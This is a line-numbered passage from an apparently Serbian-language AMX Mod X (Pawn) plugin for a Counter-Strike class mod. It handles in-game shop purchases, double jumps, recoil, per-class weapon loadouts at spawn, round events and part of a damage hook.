  807. if (broj_raketa_igraca[id] >= 1 || broj_dinamita_igraca[id] >= 1 || broj_medkit_igraca[id] >= 1 )
  808. {
  809. ColorChat(id,RED,"[Shop]^x01 Ne mozete kupiti mine ako imate nesto drugo");
  810. }
  811. else
  812. {
  813. cs_set_user_money(id, pare_igraca-cena);
  814. broj_min_igraca[id] += 3;
  815. ColorChat(id,GREEN,"[Shop]^x01 Kupili ste^x03 3 Mine");
  816. ProveriNivo(id);
  817. }
  818. }
  819. case 9:
  820. {
  821. new cena = 3000
  822. if (pare_igraca<cena)
  823. {
  824. ColorChat(id, GREEN,"[Shop]^1 Nemas dovoljno para");
  825. return PLUGIN_CONTINUE;
  826. }
  827. if (broj_min_igraca[id] >= 1 || broj_dinamita_igraca[id] >= 1 || broj_medkit_igraca[id] >= 1 )
  828. {
  829. ColorChat(id,RED,"[Shop]^x01 Ne mozete kupiti rakete ako imate nesto drugo");
  830. }
  831. else
  832. {
  833. cs_set_user_money(id, pare_igraca-cena);
  834. broj_raketa_igraca[id] += 3;
  835. ColorChat(id,GREEN,"[Shop]^x01 Kupili ste^x03 3 Rakete");
  836. ProveriNivo(id);
  837. }
  838. }
  839. case 10:
  840. {
  841. new cena = 3000
  842. if (pare_igraca<cena)
  843. {
  844. ColorChat(id, GREEN,"[Shop]^1 Nemas dovoljno para");
  845. return PLUGIN_CONTINUE;
  846. }
  847. if (broj_raketa_igraca[id] >= 1 || broj_min_igraca[id] >= 1 || broj_medkit_igraca[id] >= 1 )
  848. {
  849. ColorChat(id,RED,"[Shop]^x01 Ne mozete kupiti dinamite ako imate nesto drugo");
  850. }
  851. else
  852. {
  853. cs_set_user_money(id, pare_igraca-cena);
  854. broj_dinamita_igraca[id] += 3;
  855. ColorChat(id,GREEN,"[Shop]^x01 Kupili ste^x03 3 Dinamita");
  856. ProveriNivo(id);
  857. }
  858. }
  859. case 11:
  860. {
  861. new cena = 3000
  862. if (pare_igraca<cena)
  863. {
  864. ColorChat(id, GREEN,"[Shop]^1 Nemas dovoljno para");
  865. return PLUGIN_CONTINUE;
  866. }
  867. if (broj_raketa_igraca[id] >= 1 || broj_dinamita_igraca[id] >= 1 || broj_min_igraca[id] >= 1 )
  868. {
  869. ColorChat(id,RED,"[Shop]^x01 Ne mozete kupiti komplet za prcu pomoc ako imate nesto drugo");
  870. }
  871. else
  872. {
  873. cs_set_user_money(id, pare_igraca-cena);
  874. broj_medkit_igraca[id] += 3;
  875. ColorChat(id,GREEN,"[Shop]^x01 Kupili ste^x03 3 Kompleta za prvu pomoc");
  876. ProveriNivo(id);
  877. }
  878. }
  879. case 12:
  880. {
  881. new cena = 3000;
  882. if (pare_igraca<cena)
  883. {
  884. ColorChat(id,RED,"[Shop]^1 Nemas dovoljno para!");
  885. return PLUGIN_HANDLED;
  886. }
  887. cs_set_user_money(id, pare_igraca-cena);
  888. DajPredmet(id, random_num(1, sizeof naziv_predmeta-1));
  889. }
  890. }
  891. return PLUGIN_CONTINUE;
  892. }
  893.  
  894. public CmdStart(id, uc_handle)
  895. {
  896. if(!is_user_alive(id))
  897. return FMRES_IGNORED;
  898.  
  899. new button = get_uc(uc_handle, UC_Buttons);
  900. new oldbutton = get_user_oldbutton(id);
  901. new flags = get_entity_flags(id);
  902.  
  903. if(informacije_predmet_igraca[id][0] == 11 || klasa_igraca[id] == Rambo)
  904. {
  905. if((button & IN_JUMP) && !(flags & FL_ONGROUND) && !(oldbutton & IN_JUMP) && broj_skokova_igraca[id] > 0)
  906. {
  907. broj_skokova_igraca[id]--;
  908. new Float:velocity[3];
  909. entity_get_vector(id,EV_VEC_velocity,velocity);
  910. velocity[2] = random_float(265.0,285.0);
  911. entity_set_vector(id,EV_VEC_velocity,velocity);
  912. }
  913. else if(flags & FL_ONGROUND)
  914. {
  915. broj_skokova_igraca[id] = 0;
  916. if(informacije_predmet_igraca[id][0] == 11)
  917. broj_skokova_igraca[id]++;
  918. if(klasa_igraca[id] == Rambo)
  919. broj_skokova_igraca[id]++;
  920. }
  921. }
  922.  
  923. if(informacije_predmet_igraca[id][0] == 11 || klasa_igraca[id] == Ratko_Mladic)
  924. {
  925. if((button & IN_JUMP) && !(flags & FL_ONGROUND) && !(oldbutton & IN_JUMP) && broj_skokova_igraca[id] > 0)
  926. {
  927. broj_skokova_igraca[id]--;
  928. new Float:velocity[3];
  929. entity_get_vector(id,EV_VEC_velocity,velocity);
  930. velocity[2] = random_float(265.0,285.0);
  931. entity_set_vector(id,EV_VEC_velocity,velocity);
  932. }
  933. else if(flags & FL_ONGROUND)
  934. {
  935. broj_skokova_igraca[id] = 0;
  936. if(informacije_predmet_igraca[id][0] == 11)
  937. broj_skokova_igraca[id]++;
  938. if(klasa_igraca[id] == Ratko_Mladic)
  939. broj_skokova_igraca[id]++;
  940. }
  941. }
  942.  
  943. if(informacije_predmet_igraca[id][0] == 11 || klasa_igraca[id] == Fighter)
  944. {
  945. if((button & IN_JUMP) && !(flags & FL_ONGROUND) && !(oldbutton & IN_JUMP) && broj_skokova_igraca[id] > 0)
  946. {
  947. broj_skokova_igraca[id]--;
  948. new Float:velocity[3];
  949. entity_get_vector(id,EV_VEC_velocity,velocity);
  950. velocity[2] = random_float(265.0,285.0);
  951. entity_set_vector(id,EV_VEC_velocity,velocity);
  952. }
  953. else if(flags & FL_ONGROUND)
  954. {
  955. broj_skokova_igraca[id] = 0;
  956. if(informacije_predmet_igraca[id][0] == 11)
  957. broj_skokova_igraca[id]++;
  958. if(klasa_igraca[id] == Fighter)
  959. broj_skokova_igraca[id]++;
  960. }
  961. }
  962.  
  963. if(button & IN_ATTACK)
  964. {
  965. new Float:punchangle[3];
  966. new weapon = get_user_weapon(id);
  967.  
  968. if(informacije_predmet_igraca[id][0] == 20 || weapon == CSW_M249 && informacije_predmet_igraca[id][0] == 30)
  969. entity_set_vector(id, EV_VEC_punchangle, punchangle);
  970. if(informacije_predmet_igraca[id][0] == 23)
  971. {
  972. entity_get_vector(id, EV_VEC_punchangle, punchangle);
  973. for(new i=0; i<3;i++)
  974. punchangle[i]*=0.9;
  975. entity_set_vector(id, EV_VEC_punchangle, punchangle);
  976. }
  977. }
  978.  
  979. if(informacije_predmet_igraca[id][0] == 28 && button & IN_JUMP && button & IN_DUCK && flags & FL_ONGROUND && get_gametime() > informacije_predmet_igraca[id][1]+4.0)
  980. {
  981. informacije_predmet_igraca[id][1] = floatround(get_gametime());
  982. new Float:velocity[3];
  983. VelocityByAim(id, 700, velocity);
  984. velocity[2] = random_float(265.0,285.0);
  985. entity_set_vector(id, EV_VEC_velocity, velocity);
  986. }
  987.  
  988. return FMRES_IGNORED;
  989. }
  990.  
  991. public Pocetak(id)
  992. {
  993. if(!is_user_alive(id) || !is_user_connected(id))
  994. return PLUGIN_CONTINUE;
  995.  
  996. if(nova_klasa_igraca[id])
  997. {
  998. klasa_igraca[id] = nova_klasa_igraca[id];
  999. nova_klasa_igraca[id] = 0;
  1000. strip_user_weapons(id);
  1001. give_item(id, "weapon_knife");
  1002. switch(get_user_team(id))
  1003. {
  1004. case 1: give_item(id, "weapon_glock18");
  1005. case 2: give_item(id, "weapon_usp");
  1006. }
  1007. UcitajPodatke(id, klasa_igraca[id]);
  1008. }
  1009.  
  1010. if(!klasa_igraca[id])
  1011. {
  1012. IzaberiKlasu(id);
  1013. return PLUGIN_CONTINUE;
  1014. }
  1015.  
  1016. switch(klasa_igraca[id])
  1017. {
  1018. case Snajperista:
  1019. {
  1020. give_item(id, "weapon_awp");
  1021. give_item(id, "weapon_scout");
  1022. give_item(id, "weapon_deagle");
  1023. broj_min_igraca[id] = 0;
  1024. broj_medkit_igraca[id] = 0;
  1025. broj_raketa_igraca[id] = 0;
  1026. broj_dinamita_igraca[id] = 0;
  1027. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1028. }
  1029. case Marinac:
  1030. {
  1031. give_item(id, "weapon_deagle");
  1032. give_item(id, "weapon_famas");
  1033. broj_min_igraca[id] = 0;
  1034. broj_medkit_igraca[id] = 0;
  1035. broj_raketa_igraca[id] = 0;
  1036. broj_dinamita_igraca[id] = 0;
  1037. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1038. }
  1039. case Pro_Strelac:
  1040. {
  1041. give_item(id, "weapon_m4a1");
  1042. give_item(id, "weapon_ak47");
  1043. broj_min_igraca[id] = 0;
  1044. broj_medkit_igraca[id] = 0;
  1045. broj_raketa_igraca[id] = 0;
  1046. broj_dinamita_igraca[id] = 0;
  1047. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1048. }
  1049. case Mitraljezac:
  1050. {
  1051. give_item(id, "weapon_m249");
  1052. give_item(id, "weapon_hegrenade");
  1053. give_item(id, "weapon_flashbang");
  1054. give_item(id, "weapon_smokegrenade");
  1055. broj_min_igraca[id] = 0;
  1056. broj_medkit_igraca[id] = 0;
  1057. broj_raketa_igraca[id] = 0;
  1058. broj_dinamita_igraca[id] = 0;
  1059. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1060. }
  1061. case Doktor:
  1062. {
  1063. give_item(id, "weapon_ump45");
  1064. broj_medkit_igraca[id] = 2;
  1065. broj_min_igraca[id] = 0;
  1066. broj_raketa_igraca[id] = 0;
  1067. broj_dinamita_igraca[id] = 0;
  1068. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1069. }
  1070. case Vatrena_podrska:
  1071. {
  1072. give_item(id, "weapon_mp5navy");
  1073. broj_raketa_igraca[id] = 2;
  1074. broj_min_igraca[id] = 0;
  1075. broj_medkit_igraca[id] = 0;
  1076. broj_dinamita_igraca[id] = 0;
  1077. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1078. }
  1079. case Miner:
  1080. {
  1081. give_item(id, "weapon_p90");
  1082. broj_min_igraca[id] = 3;
  1083. broj_medkit_igraca[id] = 0;
  1084. broj_raketa_igraca[id] = 0;
  1085. broj_dinamita_igraca[id] = 0;
  1086. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1087. }
  1088. case Demolitions:
  1089. {
  1090. give_item(id, "weapon_aug");
  1091. give_item(id, "weapon_hegrenade");
  1092. give_item(id, "weapon_flashbang");
  1093. give_item(id, "weapon_smokegrenade");
  1094. broj_dinamita_igraca[id] = 1;
  1095. broj_min_igraca[id] = 0;
  1096. broj_medkit_igraca[id] = 0;
  1097. broj_raketa_igraca[id] = 0;
  1098. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1099. }
  1100. case Rusher:
  1101. {
  1102. give_item(id, "weapon_m3");
  1103. broj_min_igraca[id] = 0;
  1104. broj_medkit_igraca[id] = 0;
  1105. broj_raketa_igraca[id] = 0;
  1106. broj_dinamita_igraca[id] = 0;
  1107. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1108. }
  1109. case Rambo:
  1110. {
  1111. give_item(id, "weapon_famas");
  1112. broj_min_igraca[id] = 0;
  1113. broj_medkit_igraca[id] = 0;
  1114. broj_raketa_igraca[id] = 0;
  1115. broj_dinamita_igraca[id] = 0;
  1116. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1117. }
  1118. case Revolveras:
  1119. {
  1120. give_item(id, "weapon_elite");
  1121. broj_raketa_igraca[id] = 1 ;
  1122. broj_min_igraca[id] = 0;
  1123. broj_medkit_igraca[id] = 0;
  1124. broj_dinamita_igraca[id] = 0;
  1125. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1126. }
  1127. case Bombarder:
  1128. {
  1129. give_item(id, "weapon_m4a1");
  1130. give_item(id, "weapon_deagle");
  1131. broj_min_igraca[id] = 0;
  1132. broj_medkit_igraca[id] = 0;
  1133. broj_raketa_igraca[id] = 0;
  1134. broj_dinamita_igraca[id] = 0;
  1135. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1136. }
  1137. case Strelac:
  1138. {
  1139. give_item(id, "weapon_xm1014");
  1140. give_item(id, "weapon_elite");
  1141. broj_min_igraca[id] = 0;
  1142. broj_medkit_igraca[id] = 0;
  1143. broj_raketa_igraca[id] = 0;
  1144. broj_dinamita_igraca[id] = 0;
  1145. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1146. }
  1147. case Informator:
  1148. {
  1149. give_item(id, "weapon_mp5navy");
  1150. broj_min_igraca[id] = 0;
  1151. broj_medkit_igraca[id] = 0;
  1152. broj_raketa_igraca[id] = 0;
  1153. broj_dinamita_igraca[id] = 0;
  1154. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1155. }
  1156. case Pukovnik:
  1157. {
  1158. give_item(id, "weapon_famas");
  1159. give_item(id, "weapon_deagle");
  1160. broj_min_igraca[id] = 2 ;
  1161. broj_medkit_igraca[id] = 0;
  1162. broj_raketa_igraca[id] = 0;
  1163. broj_dinamita_igraca[id] = 0;
  1164. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1165. }
  1166. case Pobunjenik:
  1167. {
  1168. give_item(id, "weapon_sg552");
  1169. broj_raketa_igraca[id] = 2;
  1170. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 50);
  1171. broj_min_igraca[id] = 0;
  1172. broj_medkit_igraca[id] = 0;
  1173. broj_dinamita_igraca[id] = 0;
  1174. }
  1175. case Serijski_ubica:
  1176. {
  1177. give_item(id, "weapon_m4a1");
  1178. give_item(id, "weapon_smokegrenade");
  1179. broj_min_igraca[id] = 0;
  1180. broj_medkit_igraca[id] = 0;
  1181. broj_raketa_igraca[id] = 0;
  1182. broj_dinamita_igraca[id] = 0;
  1183. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1184. }
  1185. case Desetar:
  1186. {
  1187. give_item(id, "weapon_scout");
  1188. give_item(id, "weapon_deagle");
  1189. broj_min_igraca[id] = 0;
  1190. broj_medkit_igraca[id] = 0;
  1191. broj_raketa_igraca[id] = 0;
  1192. broj_dinamita_igraca[id] = 0;
  1193. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1194. }
  1195. case Vodnik:
  1196. {
  1197. give_item(id, "weapon_m3");
  1198. broj_min_igraca[id] = 0;
  1199. broj_medkit_igraca[id] = 0;
  1200. broj_raketa_igraca[id] = 0;
  1201. broj_dinamita_igraca[id] = 0;
  1202. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1203.  
  1204. }
  1205. case Kamikaza:
  1206. {
  1207. give_item(id, "weapon_m4a1");
  1208. broj_raketa_igraca[id] = 2;
  1209. broj_min_igraca[id] = 0;
  1210. broj_medkit_igraca[id] = 0;
  1211. broj_dinamita_igraca[id] = 0;
  1212. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1213. }
  1214. case Assassin:
  1215. {
  1216. give_item(id, "weapon_deagle");
  1217. broj_min_igraca[id] = 0;
  1218. broj_medkit_igraca[id] = 0;
  1219. broj_raketa_igraca[id] = 0;
  1220. broj_dinamita_igraca[id] = 0;
  1221. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1222. }
  1223. case Major:
  1224. {
  1225. give_item(id, "weapon_glock18");
  1226. give_item(id, "weapon_m4a1");
  1227. give_item(id, "weapon_usp");
  1228. give_item(id, "weapon_p228");
  1229. give_item(id, "weapon_deagle");
  1230. give_item(id, "weapon_elite");
  1231. give_item(id, "weapon_fiveseven");
  1232. give_item(id, "weapon_smokegrenade");
  1233. broj_min_igraca[id] = 10;
  1234. broj_medkit_igraca[id] = 0;
  1235. broj_raketa_igraca[id] = 0;
  1236. broj_dinamita_igraca[id] = 0;
  1237. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1238. }
  1239. case Kapetan:
  1240. {
  1241. give_item(id, "weapon_aug");
  1242. broj_min_igraca[id] = 0;
  1243. broj_medkit_igraca[id] = 0;
  1244. broj_raketa_igraca[id] = 0;
  1245. broj_dinamita_igraca[id] = 0;
  1246. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1247. }
  1248. case Potpukovnik:
  1249. {
  1250. give_item(id, "weapon_awp");
  1251. give_item(id, "weapon_deagle");
  1252. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 55);
  1253. broj_min_igraca[id] = 0;
  1254. broj_medkit_igraca[id] = 0;
  1255. broj_raketa_igraca[id] = 0;
  1256. broj_dinamita_igraca[id] = 0;
  1257. }
  1258. case Marsal:
  1259. {
  1260. give_item(id, "weapon_deagle");
  1261. broj_min_igraca[id] = 0;
  1262. broj_medkit_igraca[id] = 0;
  1263. broj_raketa_igraca[id] = 0;
  1264. broj_dinamita_igraca[id] = 0;
  1265. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1266. }
  1267. case Nemacki_strelac:
  1268. {
  1269. give_item(id, "weapon_ak47");
  1270. broj_raketa_igraca[id] = 2;
  1271. broj_min_igraca[id] = 0;
  1272. broj_medkit_igraca[id] = 0;
  1273. broj_dinamita_igraca[id] = 0;
  1274. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1275. }
  1276. case Ruski_pukovnik:
  1277. {
  1278. give_item(id, "weapon_m4a1");
  1279. broj_min_igraca[id] = 1 ;
  1280. broj_medkit_igraca[id] = 0;
  1281. broj_raketa_igraca[id] = 0;
  1282. broj_dinamita_igraca[id] = 0;
  1283. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1284. }
  1285. case Poljska_pesadija:
  1286. {
  1287. give_item(id, "weapon_mp5navy");
  1288. broj_dinamita_igraca[id] = 2;
  1289. broj_min_igraca[id] = 0;
  1290. broj_medkit_igraca[id] = 0;
  1291. broj_raketa_igraca[id] = 0;
  1292. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1293. }
  1294. case Chipsy_ratnik:
  1295. {
  1296. give_item(id, "weapon_m4a1");
  1297. give_item(id, "weapon_ak47");
  1298. broj_min_igraca[id] = 2;
  1299. broj_medkit_igraca[id] = 0;
  1300. broj_raketa_igraca[id] = 0;
  1301. broj_dinamita_igraca[id] = 0;
  1302. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1303. }
  1304. case Napadac:
  1305. {
  1306. give_item(id, "weapon_famas");
  1307. give_item(id, "weapon_p90");
  1308. broj_dinamita_igraca[id] = 3;
  1309. broj_min_igraca[id] = 0;
  1310. broj_medkit_igraca[id] = 0;
  1311. broj_raketa_igraca[id] = 0;
  1312. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1313. }
  1314. case Legija:
  1315. {
  1316. give_item(id, "weapon_m4a1");
  1317. give_item(id, "weapon_sg552");
  1318. give_item(id, "weapon_deagle");
  1319. broj_min_igraca[id] = 0;
  1320. broj_medkit_igraca[id] = 0;
  1321. broj_raketa_igraca[id] = 0;
  1322. broj_dinamita_igraca[id] = 0;
  1323. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1324. }
  1325. case Armageddon:
  1326. {
  1327. give_item(id, "weapon_ak47");
  1328. give_item(id, "weapon_aug");
  1329. give_item(id, "weapon_hegrenade");
  1330. broj_dinamita_igraca[id] = 3;
  1331. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 30);
  1332. broj_min_igraca[id] = 0;
  1333. broj_medkit_igraca[id] = 0;
  1334. broj_raketa_igraca[id] = 0;
  1335.  
  1336. }
  1337. case Samuraj:
  1338. {
  1339. give_item(id, "weapon_usp");
  1340. broj_min_igraca[id] = 0;
  1341. broj_medkit_igraca[id] = 0;
  1342. broj_raketa_igraca[id] = 0;
  1343. broj_dinamita_igraca[id] = 0;
  1344. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1345. }
  1346. case Ratko_Mladic:
  1347. {
  1348. give_item(id, "weapon_m4a1");
  1349. give_item(id, "weapon_ak47");
  1350. give_item(id, "weapon_hegrenade");
  1351. give_item(id, "weapon_deagle");
  1352. broj_raketa_igraca[id] = 5;
  1353. broj_min_igraca[id] = 0;
  1354. broj_medkit_igraca[id] = 0;
  1355. broj_dinamita_igraca[id] = 0;
  1356. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1357. }
  1358. case SWAT:
  1359. {
  1360. give_item(id, "weapon_m4a1");
  1361. give_item(id, "weapon_usp");
  1362. broj_min_igraca[id] = 0;
  1363. broj_medkit_igraca[id] = 0;
  1364. broj_raketa_igraca[id] = 0;
  1365. broj_dinamita_igraca[id] = 0;
  1366. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1367. }
  1368. case Partizan:
  1369. {
  1370. give_item(id, "weapon_p90");
  1371. give_item(id, "weapon_flashbang");
  1372. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 70);
  1373. broj_min_igraca[id] = 0;
  1374. broj_medkit_igraca[id] = 0;
  1375. broj_raketa_igraca[id] = 0;
  1376. broj_dinamita_igraca[id] = 0;
  1377. }
  1378. case Gunner:
  1379. {
  1380. give_item(id, "weapon_g3sg1");
  1381. give_item(id, "weapon_deagle");
  1382. give_item(id, "weapon_hegrenade");
  1383. broj_raketa_igraca[id] = 1;
  1384. broj_min_igraca[id] = 0;
  1385. broj_medkit_igraca[id] = 0;
  1386. broj_dinamita_igraca[id] = 0;
  1387. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1388. }
  1389. case Cleric:
  1390. {
  1391. give_item(id, "weapon_ak47");
  1392. give_item(id, "weapon_elite");
  1393. broj_min_igraca[id] = 3 ;
  1394. broj_medkit_igraca[id] = 0;
  1395. broj_raketa_igraca[id] = 0;
  1396. broj_dinamita_igraca[id] = 0;
  1397. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1398. }
  1399. case General:
  1400. {
  1401. give_item(id, "weapon_m4a1");
  1402. give_item(id, "weapon_p90");
  1403. give_item(id, "weapon_deagle");
  1404. PromeniModel(id, 0);
  1405. broj_min_igraca[id] = 0;
  1406. broj_medkit_igraca[id] = 0;
  1407. broj_raketa_igraca[id] = 0;
  1408. broj_dinamita_igraca[id] = 0;
  1409. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1410. }
  1411. case Terminator:
  1412. {
  1413. give_item(id, "weapon_ak47");
  1414. give_item(id, "weapon_usp");
  1415. broj_raketa_igraca[id] = 1;
  1416. broj_min_igraca[id] = 0;
  1417. broj_medkit_igraca[id] = 0;
  1418. broj_dinamita_igraca[id] = 0;
  1419. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1420. }
  1421. case Slayer:
  1422. {
  1423. give_item(id, "weapon_famas");
  1424. give_item(id, "weapon_p90");
  1425. broj_raketa_igraca[id] = 3;
  1426. broj_min_igraca[id] = 0;
  1427. broj_medkit_igraca[id] = 0;
  1428. broj_dinamita_igraca[id] = 0;
  1429. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1430. }
  1431. case Zastavnik:
  1432. {
  1433. give_item(id, "weapon_p90");
  1434. give_item(id, "weapon_deagle");
  1435. broj_raketa_igraca[id] = 2;
  1436. broj_min_igraca[id] = 0;
  1437. broj_medkit_igraca[id] = 0;
  1438. broj_dinamita_igraca[id] = 0;
  1439. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1440. }
  1441. case Admiral:
  1442. {
  1443. give_item(id, "weapon_ak47");
  1444. give_item(id, "weapon_famas");
  1445. broj_min_igraca[id] = 0;
  1446. broj_medkit_igraca[id] = 0;
  1447. broj_raketa_igraca[id] = 0;
  1448. broj_dinamita_igraca[id] = 0;
  1449. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1450. }
  1451. case Fighter:
  1452. {
  1453. give_item(id, "weapon_mac10");
  1454. give_item(id, "weapon_scout");
  1455. give_item(id, "weapon_usp");
  1456. broj_dinamita_igraca[id] = 2;
  1457. broj_min_igraca[id] = 0;
  1458. broj_medkit_igraca[id] = 0;
  1459. broj_raketa_igraca[id] = 0;
  1460. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1461. }
  1462. case Policajac:
  1463. {
  1464. give_item(id, "weapon_xm014");
  1465. give_item(id, "weapon_tmp");
  1466. give_item(id, "weapon_fiveseven");
  1467. broj_min_igraca[id] = 0;
  1468. broj_medkit_igraca[id] = 0;
  1469. broj_raketa_igraca[id] = 0;
  1470. broj_dinamita_igraca[id] = 0;
  1471. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1472. }
  1473. }
  1474.  
  1475. if(igrac_resetuje[id])
  1476. {
  1477. ResetujPoene(id);
  1478. igrac_resetuje[id] = false;
  1479. }
  1480.  
  1481. if(poeni_igraca[id]>0)
  1482. DodelaPoena(id);
  1483.  
  1484. if(informacije_predmet_igraca[id][0] == 31)
  1485. give_item(id, "weapon_hegrenade");
  1486.  
  1487. if(informacije_predmet_igraca[id][0] == 10)
  1488. give_item(id, "weapon_hegrenade");
  1489.  
  1490. if(informacije_predmet_igraca[id][0] == 9)
  1491. PromeniModel(id, 0);
  1492.  
  1493. if(informacije_predmet_igraca[id][0] == 1)
  1494. set_user_footsteps(id, 1);
  1495. else
  1496. set_user_footsteps(id, 0);
  1497.  
  1498. if(informacije_predmet_igraca[id][0] == 13)
  1499. give_item(id, "weapon_awp");
  1500.  
  1501. if(informacije_predmet_igraca[id][0] == 29)
  1502. give_item(id, "weapon_deagle");
  1503.  
  1504. if(informacije_predmet_igraca[id][0] == 30)
  1505. give_item(id, "weapon_m249");
  1506.  
  1507. if(informacije_predmet_igraca[id][0] == 19)
  1508. informacije_predmet_igraca[id][1] = 1;
  1509.  
  1510. if(informacije_predmet_igraca[id][0] == 27)
  1511. informacije_predmet_igraca[id][1] = 3;
  1512.  
  1513. new weapons[32];
  1514. new weaponsnum;
  1515. get_user_weapons(id, weapons, weaponsnum);
  1516. for(new i=0; i<weaponsnum; i++)
  1517. if(is_user_alive(id))
  1518. if(maxAmmo[weapons[i]] > 0)
  1519. cs_set_user_bpammo(id, weapons[i], maxAmmo[weapons[i]]);
  1520.  
  1521. smanjene_povrede_igraca[id] = (47.3057*(1.0-floatpower( 2.7182, -0.06798*float(snaga_igraca[id])))/100);
  1522. maximalna_energija_igraca[id] = energija_klasa[klasa_igraca[id]]+energija_igraca[id]*2;
  1523. brzina_igraca[id] = STANDARDNA_brzina*brzina_klasa[klasa_igraca[id]]+floatround(kondicija_igraca[id]*1.3);
  1524.  
  1525. if(informacije_predmet_igraca[id][0] == 18)
  1526. {
  1527. maximalna_energija_igraca[id] += 100;
  1528. brzina_igraca[id] -= 0.4;
  1529. }
  1530.  
  1531. if(informacije_predmet_igraca[id][0] == 25)
  1532. {
  1533. maximalna_energija_igraca[id] += 50;
  1534. brzina_igraca[id] -= 0.3;
  1535. }
  1536.  
  1537. {
  1538. if(informacije_predmet_igraca[id][0] == 29)
  1539. give_item(id, "weapon_deagle");
  1540. }
  1541.  
  1542. set_user_armor(id, oklop_klase[klasa_igraca[id]]);
  1543. set_user_health(id, maximalna_energija_igraca[id]);
  1544. if(informacije_predmet_igraca[id][0] == 17)
  1545. set_user_armor(id, 500);
  1546.  
  1547. return PLUGIN_CONTINUE;
  1548. }
  1549.  
  1550. public PocetakRunde()
  1551. {
  1552. freezetime = false;
  1553. for(new id=0;id<=32;id++)
  1554. {
  1555. if(!is_user_alive(id))
  1556. continue;
  1557.  
  1558. set_task(0.1, "PostaviBrzinu", id+ZADATAK_POSTAVI_brzinu);
  1559.  
  1560. switch(get_user_team(id))
  1561. {
  1562. case 1: client_cmd(id, "spk QTM_CodMod/start");
  1563. case 2: client_cmd(id, "spk QTM_CodMod/start2");
  1564. }
  1565. }
  1566. }
  1567.  
  1568. public novaRunda()
  1569. {
  1570. freezetime = true;
  1571. new iEnt = find_ent_by_class(-1, "Mine");
  1572. while(iEnt > 0)
  1573. {
  1574. remove_entity(iEnt);
  1575. iEnt = find_ent_by_class(iEnt, "Mine");
  1576. }
  1577. }
  1578.  
  1579. public TakeDamage(this, idinflictor, idattacker, Float:damage, damagebits)
  1580. {
  1581. if(!is_user_alive(this) || !is_user_connected(this) || informacije_predmet_igraca[this][0] == 24 || !is_user_connected(idattacker) || get_user_team(this) == get_user_team(idattacker) || !klasa_igraca[idattacker])
  1582. return HAM_IGNORED;
  1583.  
  1584. new health = get_user_health(this);
  1585. new weapon = get_user_weapon(idattacker);
  1586.  
  1587. if(health < 2)
  1588. return HAM_IGNORED;
  1589.  
  1590. if(informacije_predmet_igraca[this][0] == 27 && informacije_predmet_igraca[this][1]>0)
  1591. {
  1592. informacije_predmet_igraca[this][1]--;
  1593. return HAM_SUPERCEDE;
  1594. }
  1595.  
  1596. if(snaga_igraca[this]>0)
  1597. damage -= smanjene_povrede_igraca[this]*damage;
  1598.  
